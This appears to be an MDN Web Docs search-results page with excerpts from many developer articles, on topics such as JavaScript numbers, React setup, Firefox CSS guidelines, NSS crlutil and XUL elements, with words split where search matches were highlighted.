mming, even the humble decimal number system that we all know so well is more complicated than you might think. we use different terms to describe different types of decimal numbers, for example: integers are whole numbers, e.g. 10, 400, or -5. floating point numbers (floats) have decimal points and decimal places, for example 12.5, and 56.7786543. doubles are a specific type of floating point ...
...en a–f in each column. you may have encountered these numbers before when setting colors in css. before you start to get worried about your brain melting, stop right there! for a start, we are just going to stick to decimal numbers throughout this course; you'll rarely come across a need to start thinking about other types, if ever. the second bit of good news is that unlike some other progra
mming languages, javascript only has one data type for numbers, both integers and decimals — you guessed it, number. this means that whatever type of numbers you are dealing with in javascript, you handle them in exactly the same way. note: actually, javascript has a second number type, bigint, used for very, very large integers. but for the purposes of this course, we'll just worry about number...
...er type of numbers you are dealing with in javascript, you handle them in exactly the same way. note: actually, javascript has a second number type, bigint, used for very, very large integers. but for the purposes of this course, we'll just worry about number values. it's all numbers to me let's quickly play with some numbers to reacquaint ourselves with the basic syntax we need. enter the co
mmands listed below into your developer tools javascript console. first of all, let's declare a couple of variables and initialize them with an integer and a float, respectively, then type the variable names back in to check that everything is in order: let myint = 5; let myfloat = 6.667; myint; myfloat; number values are typed in without quote marks — try declaring and initializing a coup...
...And 7 more matches
Getting started with React - Learn web development
in this article we will say hello to react. we'll discover a little bit of detail about its background and use cases, set up a basic react toolchain on our local computer, and create and play with a simple starter app — learning a bit about how react works in the process. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. react uses an html-in-javascript syntax called jsx (javascript and xml). familiarity with both html and javascript will help you to learn jsx, and better identify whether bugs in your application are related to javascript or to the more specific domain of react. objective: to set up a local react development environment, create a start app, and understand the basics ...
...= react.createelement("header", null, react.createelement("h1", null, "mozilla developer network") ); it's possible to skip the compilation step and use react.createelement() to write your ui yourself. in doing this, however, you lose the declarative benefit of jsx, and your code becomes harder to read. compilation is an extra step in the development process, but many developers in the react co
mmunity think that the readability of jsx is worthwhile. plus, popular tooling makes the jsx-to-javascript compilation part of its setup process. you don't have to configure compilation yourself unless you want to. because jsx is a blend of html and javascript, some developers find it intuitive. others say that its blended nature makes it confusing. once you're comfortable with it, however, it will...
... say that its blended nature makes it confusing. once you're comfortable with it, however, it will allow you to build user interfaces more quickly and intuitively, and allow others to better understand your codebase at a glance. to read more about jsx, check out the react team's jsx in depth article. ...
...And 7 more matches
Client-side tooling overview - Learn web development
nd get help with them. overview of modern tooling writing software for the web has become more sophisticated through the ages. although it is still entirely reasonable to write html, css, and javascript "by hand" there is now a wealth of tools that developers can use to speed up the process of building a web site, or app. there are some extremely well-established tools that have become co
mmon "household names" amongst the development co
mmunity, and new tools are being written and released every day to solve specific problems. you might even find yourself writing a piece of software to aid your own development process, to solve a specific problem that existing tools don’t already seem to handle. it is easy to become overwhelmed by the sheer number of tools that can be included in ...
...anguage into javascript that a browser can understand. post-development — tools that are useful after you have written your code, such as testing and deployment tools. let's look at each one of these in more detail. safety net these are tools that make the code you write a little better. this part of the tooling should be specific to your own development environment, though it’s not unco
mmon for companies to have some kind of policy or pre-baked configuration available to install so that all their developers are all using the same processes. this includes anything that makes your development process easier with respect to generating stable and reliable code. safety net tooling should also help you either prevent mistakes or correct mistakes automatically without having to build yo...
...r pre-baked configuration available to install so that all their developers are all using the same processes. this includes anything that makes your development process easier with respect to generating stable and reliable code. safety net tooling should also help you either prevent mistakes or correct mistakes automatically without having to build your code from scratch each time. a few very co
mmon safety net tool types you will find being used by developers are as follows. linters linters are tools that check through your code and tell you about any errors that are present, what error types they are, and what code lines they are present on. often linters can be configured to not only report errors, but also report any violations of a specified style guide that you team might be using (...
...And 7 more matches
Mozilla accessibility architecture
feedback and constructive suggestions are encouraged. 1. intro this document is for people who wish to understand the architecture of mozilla's accessibility api module, which provides support for platform accessibility apis. accessibility apis are used by 3rd party software like screen readers, screen magnifiers, and voice dictation software, which need information about document content and ui controls, as well as important events like changes of focus. mozilla supports two accessibility apis: microsoft active accessibility (msaa) on windows and accessibility tool kit (atk) on linux and unix. ...
...t should be familiar with interfaces, the w3c dom, xul and the concept of a layout object tree. 2. accessible nodes and interfaces every node in the dom tree could be important to 3rd party assistive technology. accessibility apis on each operating system have built-in assumptions about what is the most important information, and how an accessibility server like mozilla should use the api's progra
mmatic interfaces to expose this information to an accessibility client (the assistive technology). each platform's accessibility api has made different assumptions, although there are a number of co
mmon characteristics. for example, they all expose an accessible name, or text representation, of each object, and they all use an enumerated integer value from a finite list, to expose the role of an ob...
...y all use an enumerated integer value from a finite list, to expose the role of an object. examples of accessible role constants are role_button, role_checkbox and role_list, although they can have slightly different names and values in each api. in general, the accessibility apis use similar concepts, but use different method, constant and interfaces names. given that there is a fair amount of co
mmonality between accessibility api toolkits, it made sense to write of the code in a cross platform manner, and then deal with the platform differences on a consistent manner. the shared code makes itself available to the toolkit-specific code via generic xpcom interfaces that return information about objects we want to expose. all focusable nodes, tables and text have accessibility interfaces. we ...
...And 7 more matches
The Firefox codebase: CSS Guidelines
the overriding css section contains more information about this. ...
...lass. only use generic selectors such as :last-child, when it is what you mean semantically. if not, using a semantic class name is more descriptive and usually better. boilerplate make sure each file starts with the standard copyright header (see license boilerplate). ...
...ng a semantic class name is more descriptive and usually better. boilerplate make sure each file starts with the standard copyright header (see license boilerplate). before adding more css it is good practice to check if the css that is being written is needed, it can be the case that a co
mmon component has been already written could be reused with or without changes. most of the time, the co
mmon component already follows the a11y/theme standards defined in this guide. so, when possible, always prefer editing co
mmon components to writing your own. also, it is good practice to introduce a co
mmon class when the new element you are styling reuses some styles from another element, this allows the maintenance cost and the amount of code duplication to be reduced. formatting spacing & inde...
...And 7 more matches
Contributing to the Mozilla code base
if you have any difficulties getting involved or finding answers to your questions, please come and ask your questions in our chatroom, where we can help you get started. we know even before you start contributing that getting set up to work on firefox and finding a bug that's a good fit for your skills can be a challenge. ...
... step 1: find something to work on bugs listed as 'assigned' are not usually a good place to start unless you're s...
...s swift contribute to firefox focus for ios mozilla hubs javascript and/or html/css, vr contribute to mozilla hubs servo rust contribute to servo there are even many ways to contribute to the mozilla mission without progra
mming. if getting involved in design, support, translation, testing, or other types of contributions sparks your interest please see co
mmunity webiste. perhaps you do not know progra
mming yet, but you want to start learning? there are plenty of resources available on the mdn web docs! step 1: find something to work on bugs listed as 'assigned' are not usually a good place to start unless you're sure you have something worthy to contribute. someone else is already working on it! even with no assignee, it is polite to check if som...
...And 7 more matches
Embedding Tips
e. watch for changes in nsiuricontentlistener::onstarturiopen(). you can abort the uri load at this point if you don't want it to proceed. if necessary you may also implement the nsiuricontentlistener::ispreferred(), returning pr_true to ensure you are always the preferred uri handler and are called no matter what the content type. how do i copy items to the clipboard? obtain the nsiclipboardco
mmands interface from the appropriate web browser object via nsiserviceprovider::getinterface (or the do_getinterface() helper method). how do i save a document or data to disk? query for the nsiwebbrowserpersist interface implemented on the web browser object and call the saveuri() or savedocument() methods on that. alternatively, create a standalone webbrowser persist object and call the nsiweb...
...ider::getinterface (or the do_getinterface() helper method). how do i save a document or data to disk? query for the nsiwebbrowserpersist interface implemented on the web browser object and call the saveuri() or savedocument() methods on that. alternatively, create a standalone webbrowser persist object and call the nsiwebbrowserpersist interface on that to save uris and documents. this is reco
mmended if you intend anything other than the uri or document your browser is looking at. register your own nsiwebprogresslistener object to listen for progress and state notifications. how do i save / upload a document / data to a web or ftp site? again, use the webbrowser persist object, but specify a remote location as the target uri. your web progress listener must also implement nsiauthpromp...
...ect implement the nsitooltiplistener interface. methods to hide or show the tool tips will automatically be called upon it when the user hovers over an item with title text. the contract id is defined here. for an example, see browserimpl.cpp in mfcembed and its simple cbrowsertooltip class implemented in mfc. ...
...And 7 more matches
Interfacing with the Add-on Repository
the add-on repository javascript code module makes it easy for your extension to interface with the amo repository. you an use the code module to get lists of add-ons and even install new add-ons. this article provides some sample code that queries the reco
mmended add-ons list on amo and lets the user click a button to install an add-on from the list. ...
...ended add-ons list on amo and lets the user click a button to install an add-on from the list. importing the repository code module before you can use the add-on repository api, you need to import the code module: components.utils.import("resource://gre/modules/addonrepository.jsm"); having done this, you can then access the api through the resulting addonrepository object. enabling the reco
mmendation feature in current builds of firefox 4, the reco
mmendation api doesn't work because the preference for the url to query to get reco
mmended add-ons is not included by default; see bug 628785. to make the service work for the time being, you can use code like this when your extension starts up: var prefsservice = components.classes["@mozilla.org/preferences-service;1"] ...
...ee bug 628785. ...
...And 7 more matches
NSS Tools crlutil
the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database(see certutil tool) and continues with certificates expiration or revocation. ...
...icate revocation list management. for information on security module database management, see using the security module database tool. for information on certificate and key database management, see using the certificate database tool. availability see the release notes for the platforms this tool is available on. syntax to run the certificate revocation list management tool, type the co
mmand crlutil option [arguments] where options and arguments are combinations of the options and arguments listed in the following section. each co
mmand takes one option. each option may take zero or more arguments. to see a usage string, issue the co
mmand without options, or with the -h option. options and arguments options specify an action and are uppercase. option arguments modify an ac...
... -d delete certificate revocation list from cert database. ...
...And 7 more matches
nsIJumpListBuilder
lists are built in real-time during the sequence of build calls, make sure to check for errors on each individual step. the default number of allowed items in a jump list is ten. ...
...lists are built in real-time during the sequence of build calls, make sure to check for errors on each individual step. the default number of allowed items in a jump list is ten. users can change the number through system preferences. user may also pin items to jump lists, which take up additional slots. ...
...this article. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) jump lists are built and then applied. modifying an applied jump list is not permitted. callers should begin the creation of a new jump list using initlistbuild(), add sub lists using addlisttobuild(), then co
mmit the jump list using co
mmitlistbuild(). lists are built in real-time during the sequence of build calls, make sure to check for errors on each individual step. the default number of allowed items in a jump list is ten. users can change the number through system preferences. user may also pin items to jump lists, which take up additional slots. applications do not have control over the number of items allowed in jump lists...
...And 7 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
, the word "hello" and some tabs). an inline element (the <span>, which contains a space, and the word "world!"). another text node (consisting only of tabs and spaces). because of this, it establishes what is called an inline formatting context. this is one of the possible layout rendering contexts that browser engines work with. ...
...the <span>, which contains a space, and the word "world!"). another text node (consisting only of tabs and spaces). because of this, it establishes what is called an inline formatting context. this is one of the possible layout rendering contexts that browser engines work with. ...
...p from before and apply this first rule, we get: <h1>◦◦◦hello⏎ <span>◦world!</span>⇥◦◦</h1> next, all tab characters are handled as space characters, so the example becomes: <h1>◦◦◦hello⏎ <span>◦world!</span>◦◦◦</h1> next, line breaks are converted to spaces: <h1>◦◦◦hello◦<span>◦world!</span>◦◦◦</h1> after that, any space i
mmediately following another space (even across two separate inline elements) is ignored, so we end up with: <h1>◦hello◦<span>world!</span>◦</h1> and finally, sequences of spaces at the beginning and end of a line are removed, so we finally get this: <h1>hello◦<span>world!</span></h1> this is why people visiting the web page will simply see the phrase "hello world!" nicely wr...
...And 7 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
our webgl tutorial series; namely, the penultimate article in the series, covering lighting in webgl. while reading this article and the accompanying source code, it's helpful to keep in mind that the display for a 3d headset is a single screen, divided in half. the left half of the screen is seen only by the left eye, while the right half is only seen by the right eye. rendering the scene for i
mmersive presentation requires multiple renders of the scene—once from the perspective of each eye. when rendering the left eye, the xrwebgllayer has its viewport configured to restrict drawing to the left half of the drawing surface. contrarily, when rendering the right eye, the viewport is set to restrict drawing to the right half of the surface. this example demonstrates this by showing the c...
...e—once from the perspective of each eye. when rendering the left eye, the xrwebgllayer has its viewport configured to restrict drawing to the left half of the drawing surface. contrarily, when rendering the right eye, the viewport is set to restrict drawing to the right half of the surface. ...
...strates this by showing the canvas on the screen, even when presenting a scene as an i
mmersive display using an xr device. dependencies while we will not rely upon any 3d graphics frameworks such as three.js or the like for this example, we do use the glmatrix library for matrix math, which we've used in other examples in the past. this example also imports the webxr polyfill maintained by the i
mmersive web working group, which is the team responsible for the webxr api's specification. by importing this polyfill, we allow the example to work on many browsers that don't yet have webxr implementations in place, and we smooth out any transient deviations from the specification that occur during these still somewhat experimental days of the webxr specification. options this example has a num...
...And 7 more matches
<input type="time"> - HTML: Hypertext Markup Language
vided to clear the control's value. 12-hour 24-hour edge the edge time control is somewhat more elaborate, opening up an hour and minute picker with sliding reels. it, like chrome, uses a 12- or 24-hour format for inputting times, based on system locale: 12-hour 24-hour value a domstring representing a time, or empty. events change and input supported co
mmon attributes autocomplete, list, readonly, and step idl attributes value, valueasdate, valueasnumber, and list. methods select(), stepdown(), and stepup(). value a domstring containing the value of the time entered into the input. you can set a default value for the input by including a valid time in the value attribute when creating the <input> element, like s...
...you can learn more about the format of the time value used by this input type in time strings in date and time formats used in html. in this example, you can see the time input's value by ent...
...you can learn more about the format of the time value used by this input type in time strings in date and time formats used in html. ...
...And 7 more matches
Introduction - JavaScript
« previousnext » this chapter introduces javascript and discusses some of its fundamental concepts. what you should already know this guide assumes you have the following basic background: a general understanding of the internet and the world wide web (www). good working knowledge of hypertext markup language (html). some progra
mming experience. if you are new to progra
mming, try one of the tutorials linked on the main page about javascript. where to find javascript information the javascript documentation on mdn includes the following: learn web development provides information for beginners and introduces basic concepts of progra
mming and the internet. javascript guide (this guide) provides an overview about the javascript language and its objects. javascr...
...ickable buttons, popup menus, etc.). there are also more advanced server side versions of javascript such as node.js, which allow you to add more functionality to a website than simply downloading files (such as realtime collaboration between multiple computers). inside a host environment (for example, a web browser), javascript can be connected to the objects of its environment to provide progra
mmatic control over them. javascript contains a standard library of objects, such as array, date, and math, and a core set of language elements such as operators, control structures, and statements. core javascript can be extended for a variety of purposes by supplementing it with additional objects; for example: client-side javascript extends the core language by supplying objects to control a ...
...ol a browser and its document object model (dom). for example, client-side extensions allow an application to place elements on an html form and respond to user events such as mouse clicks, form input, and page navigation. server-side javascript extends the core language by supplying objects relevant to running javascript on a server. for example, server-side extensions allow an application to co
mmunicate with a database, provide continuity of information from one invocation to another of the application, or perform file manipulations on a server. this means that in the browser, javascript can change the way the webpage (dom) looks. and, likewise, node.js javascript on the server can respond to custom requests from code written in the browser. javascript and java javascript and java are...
...And 7 more matches
Image file type and format guide - Web media technologies
in this guide, we'll cover the image file types generally supported by web browsers, and provide insights that will help you select the most appropriate formats to use for your site's imagery. co
mmon image file types there are many image file formats in the world. however, the ones listed below are generally recognized as usable on the web, though bmp is generally not reco
mmended as browser support is potentially constrained; it should usually be avoided for web content. abbreviation file format mime type file extension(s) browser compatibility apng animated portable network graphics image/apng .apng chrome, edge, firefox, opera, safari bmp bitmap file image/bmp .bmp chrome, edge, firefox, internet explorer, opera, safar...
...ted gif supports only 8-bit indexed color. apng is ideal for basic animations that do not need to synchronize to other activities or to a sound track, such as progress indicators, activity throbbers, and other animated sequences. for example, apng is one of the formats supported when creating animated stickers for apple's imessage application (and the messages application on ios). they're also co
mmonly used for the animated portions of web browsers' user interfaces. mime type image/apng file extension(s) .apng specification wiki.mozilla.org/apng_specification browser compatibility chrome 59, edge 12, firefox 3, opera 46, safari 8 maximum dimensions 2,147,483,647×2,147,483,647 pixels supported color modes ...
...ntensity of the greyscale pixel and an alpha sample, indicating how opaque the pixel is. true color with alpha 8 and 16 each pixel is comprised of four d-pixel color components: red, green, blue, and the alpha sample indicating how opaque the pixel is. compression lossless licensing free and open under the creative co
mmons attribution-sharealike license (cc-by-sa) version 3.0 or later. bmp (bitmap file) the bmp (bitmap image) file type is most prevalent on windows computers, and is generally used only for special cases in web apps and content. note: you should typically avoid using bmp for web site content, as it's not a generally-accepted use of the format. bmp theoretically supports a variety of in...
...And 7 more matches
width - SVG: Scalable Vector Graphics
. use for <use>, width defines the horizontal length for the referenced element. value auto | <length> | <percentage> default value auto (treated as 0) animatable yes note: starting with svg2, width is a geometry property meaning this attribute can also be used as a css property for used elements. ...
...on status co
mment filter effects module level 1the definition of 'width' in that specification. working draft definition for <filter> filter effects module level 1the definition of 'width' in that specification. working draft definition for filter primitives css masking module level 1the definition of 'width' in that specification. candidate reco
mmendation definition for <mask> scalable vector graphics (svg) 2the definition of 'width' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'width' in that specification. ...
... css masking module level 1the definition of 'width' in that specification. candidate reco
mmendation definition for <mask> scalable vector graphics (svg) 2the definition of 'width' in that specification. candidate reco
mmendation definition as a geometry property scalable vector graphics (svg) 2the definition of 'width' in that specification. candidate reco
mmendation definition for <pattern> scalable vector graphics (svg) 1.1 (second edition)the definition of 'width' in that specification. ...
...And 7 more matches
xlink:href - SVG: Scalable Vector Graphics
t>, xlink:href defines the reference to the element which is the target of this animation and which therefore will be modified over time. the target element must be part of the current svg document fragment. the value must point to exactly one target element which is capable of being the target of the given animation. if the xlink:href attribute is not provided, the target element will be the i
mmediate parent element of the current animation element. refer to the descriptions of the individual animation elements for any restrictions on what types of elements can be targets of particular types of animations. value <iri> default value none animatable no color-profile for <color-profile>, xlink:href defines the location of an icc profile resource...
...ferenced object. value <iri> default value none animatable yes tref for <tref>, xlink:href defines a reference to an element whose character data content shall be used as character data for this <tref> element. value <iri> default value none animatable yes specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <a>' in that specification. reco
mmendation defines href for the <a> element. scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <altglyph>' in that specification. reco
mmendation defines href for the <altglyph> element. scalable vector graphics (s...
... for the <a> element. scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <altglyph>' in that specification. reco
mmendation defines href for the <altglyph> element. scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set>' in that specification. reco
mmendation defines href for animation elements. scalable vector graphics (svg) 1.1 (second edition)the definition of 'href for <color-profile>' in that specification. reco
mmendation defines href for the <color-profile> element. ...
...And 7 more matches
Getting started (cfx) - Archive of obsolete content
the directory doesn't have to be under the sdk root: you can create it anywhere you like. ...
...the directory doesn't have to be under the sdk root: you can create it anywhere you like. ...
...as been deprecated and you should use jpm instead. use cfx only if you need to work with firefox 38 or earlier. see: getting started with jpm cfx to jpm prerequisites to create add-ons for firefox using the sdk, you'll first need to follow the instructions to install and activate the sdk. once you've done that, you'll be looking at a co
mmand prompt. initializing an empty add-on in the co
mmand prompt, create a new directory. the directory doesn't have to be under the sdk root: you can create it anywhere you like. navigate to it, type cfx init, and hit enter: mkdir my-addon cd my-addon cfx init you'll see some output like this: * lib directory created * data directory created * test directory created * doc directory created * readme.md written * package.json written * test/test-m...
...And 6 more matches
JavaScript Daemons Management - Archive of obsolete content
here are some code snippets that simplify and abstract the management of daemons. the following daemons management framework is the major version of setinterval – a little framework. introduction sometimes a page uses dozens and dozens of animations. ...
...a minimalistic version of it (minidaemon) is published here. this more complex version of it is nothing but a big and scalable collection of methods for the daemon constructor. but the daemon constructor itself is nothing but a clone of minidaemon with an added support for init and onstart functions declarable during the instantiation of the daemon. so the minidaemon framework will remain the reco
mmended way for simple animations, because daemon without its collection of methods is essentially a clone of it. the architecture of the daemon constructor explicitly avoids the use of closures. it also offers an alternative way to pass the this object to the callback functions (see the "this" problem for details). advantages of this approch: abstraction passage of this object to javascript t...
...an git clone https://github.com/madmurphy/daemon.js.git. or, at your choice, directly download this .zip file. about the “callback arguments” polyfill in order to make this framework compatible with internet explorer (which doesn't support sending additional parameters to timers' callback function, neither with settimeout() or setinterval()) we included the ie-specific compatibility code (co
mmented code), which enables the html5 standard parameters' passage functionality in that browser for both timers (polyfill), at the end of the daemon.js module. daemon.js what follows is the module that declares the daemon constructor (the core of this framework). the daemon constructor itself is nothing but a clone of the little framework minidaemon with added support for init and onstart functi...
...And 6 more matches
Source code directories overview - Archive of obsolete content
tart learning about the mozilla code base. this document contains material for seamonkey, firefox, and toolkit. it is a living document which is (supposed to be) updated monthly according to changes in the mozilla source tree. see also similar information in mozilla source code directory structure, and also see the more detailed overview of how the parts of gecko fit together. introduction: co
mmon subdirectories a co
mmon naming scheme is used throughout the mozilla source trees. at the top level is the name of the product (e.g. seamonkey). at the second level is the name of the module (e.g. the editor directory in seamonkey). the third level is where the co
mmon naming scheme usually takes over. many third level directories contain the base, the public and the idl directories. although n...
...if files can be grouped into submodules, they are usually put in their own third level directory and given a unique name (e.g. txmgr in the editor directory in seamonkey). beneath this third level directory, there may be fourth level base, public and idl directories. ...
...if files can be grouped into submodules, they are usually put in their own third level directory and given a unique name (e.g. txmgr in the editor directory in seamonkey). ...
...And 6 more matches
Running Tamarin performance tests - Archive of obsolete content
ating is calculated. the confidence rating measures the percentage of the mean 95% of the results were within the range. ...
...options: $ ./runtests.py -h usage: runtests.py [options] [tests] -v --verbose enable additional output -e --avm avmplus co
mmand to use -a --asc compiler to use -g --globalabc deprecated but still works - use builtin.abc (used to be location of global.abc) -b --builtinabc location of builtin.abc -s --shellabc location of shell_toplevel.abc -x --exclude co
mma separated list of directories to skip -h --help display help and exit -t --notime do not generate timestamps (cleaner diffs) -f --forcerebuild force rebuild all test files -c --config sets the config string [default os-tvm] -q --quiet display minimum output during testrun -l --log also log all output to given logfile --su
mmaryonly only display fina...
...parated list of directories to skip -h --help display help and exit -t --notime do not generate timestamps (cleaner diffs) -f --forcerebuild force rebuild all test files -c --config sets the config string [default os-tvm] -q --quiet display minimum output during testrun -l --log also log all output to given logfile --su
mmaryonly only display final su
mmary --rebuildtests rebuild the tests only - do not run against vm --showtimes shows the time for each test --ascargs args to pass to asc on rebuild of test files --vmargs args to pass to vm --timeout max time to run all tests --testtimeout max time to let a test run, in sec (default -1 = never timeout) --html also create an html output...
...And 6 more matches
The new nsString class implementation (1999) - Archive of obsolete content
s message. in the meantime, try the xpcom string guide—but note that that article bears a warning of its own! this document is intended to briefly describe the new nsstring class architecture, and discuss the implications on memory management, optimizations, internationalization and usage patterns. disclaimer: i absolutely hate string classes. no one has ever devised one that more than 2 progra
mmers can agree on. so, why then am i proposing this? well, nsstring has served us well so far, but it's in need of a facelift. and xpcom has really taken off, so nsstring needs to be brought into alignment. justification the nsstring class is a wide character string class used throughout all of gecko (and other modules) as the default implementation. however, it suffers from a few implementation de...
...ostring and nscstring all offer additional api's (that all degrade to those found in nsstrimpl) for construction, searching and comparison. also note that the new nsstring interface mimics fully the interface in the existing nsstring class found in mozilla/base/src/nsstring.h. nsautostring we still offer an nsautostring that provides its own stack based buffer. this very useful class allows progra
mmers to take advantage of the nsstring/nsstrimpl implementation, while eliminating heap based allocations. an additional improvement has been made to nsautostring that allows it to use an arbitrarily sized stack based buffer rather than its own internal buffer. this means that you can continue to use efficient (temporary) stack buffers for string storage with the bonus of storage pools that serve y...
...is means that you can continue to use efficient (temporary) stack buffers for string storage with the bonus of storage pools that serve your specific need. (sounds complicated, but it's really easy). this class fully interoperates with nsstring and nsstrimpl. nscstring the new nscstring class shares the same api with nsstring, but uses a 1-byte ascii character storage model. this will allow progra
mmers to use the nsstring api's like a standard char* without incurring the 2-byte per character overhead. this class fully interoperates with nsstring, nsautostring and nsstrimpl. nsistring naturally we will need include an nsistring interface onto the nsstrimpl/nsstring classes. i won't repeat it's interface here since it is basically a restatement (in xpcom terms) of the nsstring interface. usage...
...And 6 more matches
Using Breakpoints in Venkman - Archive of obsolete content
and how to use venkman to set and examine breakpoints. basic breakpoints the stop button and debugger keyword are useful features of the javascript debugger, but when you are debugging deep in code—especially code you have authored yourself and are responsible for troubleshooting—you're going to need breakpoints. types of breakpoints venkman has two types of breakpoints. the first, and most co
mmon, is called the "hard" breakpoint. a hard breakpoint represents an actual trap instruction included in the pseudocode of a compiled function. hard breakpoints can only exist in the context of a function currently "live" in the browser. hard breakpoints are the ones that actually stop program execution. the second type of breakpoint, the "future" breakpoint, represents a promise from venkman to s...
...kpoints can only exist in the context of a function currently "live" in the browser. hard breakpoints are the ones that actually stop program execution. the second type of breakpoint, the "future" breakpoint, represents a promise from venkman to set a hard breakpoint as soon as it is possible. future breakpoints are used when you want to stop in a script that has not yet been compiled. the most co
mmon use of future breakpoints is to stop in a "top level" script (script that executes outside of any function), or script that executes during the onload event of a page. when a script is loaded that matches the url of a future breakpoint, and has executable code at the specified line, venkman will automatically set a future breakpoint. except for this distinction, breakpoints in venkman work like...
...ictly be a boolean true, any non-null, non-empty string, non-zero, non-undefined, and non-false value will do), execution will continue normally. if, on the other hand, the script returns a false value, venkman will stop execution at that point. early return from caller with result will cause the function that the breakpoint is set in to return the value of the breakpoint script as its result, i
mmediatley after the breakpoint script completes. the pass exceptions to caller checkbox allows you to pass exceptions thrown by the breakpoint script directly to the caller. normally, if the breakpoint script generates an exception, venkman assumes you made a mistake and stops execution after displaying the exception. if you would like to see what your code does when exceptions are thrown at it, ...
...And 6 more matches
Installer Script - Archive of obsolete content
ction verifydiskspace(dirpath, spacerequired) 3. { 4. var spaceavailable; 5. // get the available disk space on the given path 6. spaceavailable = filegetdiskspaceavailable(dirpath); 7. // convert the available disk space into kilobytes 8. spaceavailable = parseint(spaceavailable / 1024); 9. // do the verification 10. if(spaceavailable < spacerequired) 11. { 12. ...
...ar spaceavailable; 5. // get the available disk space on the given path 6. spaceavailable = filegetdiskspaceavailable(dirpath); 7. // convert the available disk space into kilobytes 8. spaceavailable = parseint(spaceavailable / 1024); 9. // do the verification 10. if(spaceavailable < spacerequired) 11. { 12. logco
mment("insufficient disk space: " + dirpath); 13. logco
mment(" required : " + spacerequired + " k"); 14. ...
... the given path 6. spaceavailable = filegetdiskspaceavailable(dirpath); 7. // convert the available disk space into kilobytes 8. spaceavailable = parseint(spaceavailable / 1024); 9. // do the verification 10. if(spaceavailable < spacerequired) 11. { 12. logco
mment("insufficient disk space: " + dirpath); 13. logco
mment(" required : " + spacerequired + " k"); 14. logco
mment(" available: " + spaceavailable + " k"); 15. return(false); 16. } 17. return(true); 18. } 19. ...
...And 6 more matches
XUL accessibility guidelines - Archive of obsolete content
introduction welcome to the xul accessibility guidelines. by following these principles and practices, you will be able to write your xul applications in such a way that all users, including those with physical, sensory, or co
mmunicative disabilities, with be able to use and enjoy them. accessibility is not difficult, but does require a basic understanding of the different types of disabilities, co
mmonly used assistive technologies, and special accessibility features built into the xul languages. most of all, accessibility requires a conscious effort on your part, and a desire to include everyone. it is hoped that these guidelines will be sufficiently clear and detailed that everyone—even someone with no previous background in accessibility—can understand them. in addition, the...
...d assistive technologies, and special accessibility features built into the xul languages. most of all, accessibility requires a conscious effort on your part, and a desire to include everyone. it is hoped that these guidelines will be sufficiently clear and detailed that everyone—even someone with no previous background in accessibility—can understand them. in addition, there is an active co
mmunity of accessibility developers within the mozilla project that will be happy to help you with any concerns or questions you have in regards to making your xul applications fully accessible. there is also a xul accessibility tool which can help test some of these guidelines, but please be aware that no tool can replace human judgement for accessibility, and understanding the guidelines is vital...
...e happy to help you with any concerns or questions you have in regards to making your xul applications fully accessible. there is also a xul accessibility tool which can help test some of these guidelines, but please be aware that no tool can replace human judgement for accessibility, and understanding the guidelines is vital. learn more accessibility platform features mozilla co
mmunity software accessibility - where are we today? intro to accessibility, assistive technologies, and mozilla resources. introduction to web accessibility. overview of web accessibility from webaim. dive into accessibility. downloadable book on web accessibility with tips and character sketches. assistive technology compatibility. list of popular assistive technologies and ...
...And 6 more matches
menuitem - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a single choice in a menupopup element. it acts much like a button but it is rendered on a menu. more information is available in the xul tutorial. ...
...hods | related ] a single choice in a menupopup element. it acts much like a button but it is rendered on a menu. more information is available in the xul tutorial. ...
...if this value is set, it overrides an assigned key set in the key attribute. this attribute does not apply to menus directly on the menubar. accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. allowevents type: boolean if true, events are...
...And 6 more matches
prefwindow - Archive of obsolete content
d for preference dialogs. this element should be used in place of the window tag and should contain one or more prefpane elements. a row of buttons appears across the preference dialog, one for each prefpane. each pane will usually group together a set of related preferences. if there is only one prefpane, the navigation area will be hidden. on platforms where the convention is to apply changes i
mmediately, the preferences are adjusted as soon as the user interface element is changed. on other platforms, the preferences are not applied until the dialog is closed. you can open a preference window using a window's opendialog method as with other dialogs. you can pass the id of a particular pane as the fourth argument to opendialog to open a specific pane by default. you can also set the last...
...ed applications: the preferences system - part of the toolkit - still relies on two browser.* preferences. the first one is browser.preferences.instantapply, a boolean preference. the preference window will not run correctly if you do not set this preference in your application's defaults (see bug 485150 for more information). a true value for this preference makes the preference window apply i
mmediately the user choices, without waiting for the dialog to close with ok. the second preference is browser.preferences.animatefadein, again a boolean preference. this one can be safely omitted in xulrunner-based applications but you can override the default behavior (true for mac os x and false for other platforms) setting it. for animatefadein to work properly, contents of prefpanes should be ...
...or the dialog to close with ok. the second preference is browser.preferences.animatefadein, again a boolean preference. this one can be safely omitted in xulrunner-based applications but you can override the default behavior (true for mac os x and false for other platforms) setting it. for animatefadein to work properly, contents of prefpanes should be put into overlays. note for mac os x: a co
mmon way of opening modal windows on mac os x that are not attached as a sheet to the main window is to use nsiwindowwatcher.openwindow() with a null parentwindow. this does not work with prefwindows, breaking the general behavior of the window and in particular the list of prefpanes. prefer the classical window.opendialog() with the following window features: "chrome,titlebar,toolbar,centerscreen,d...
...And 6 more matches
textbox - Archive of obsolete content
ay be used if you want no limit on the number of decimal places. note that decimal numbers are stored as floats. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually drawn with grayed-out text. if the element is disabled, it does not respond to user actions, it cannot be focused, and the co
mmand event will not fire. in the case of form elements, it will not be submitted. do not set the attribute to true, as this will suggest you can set it to false to enable the element again, which is not the case. the disabled attribute is allowed only for form controls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to ...
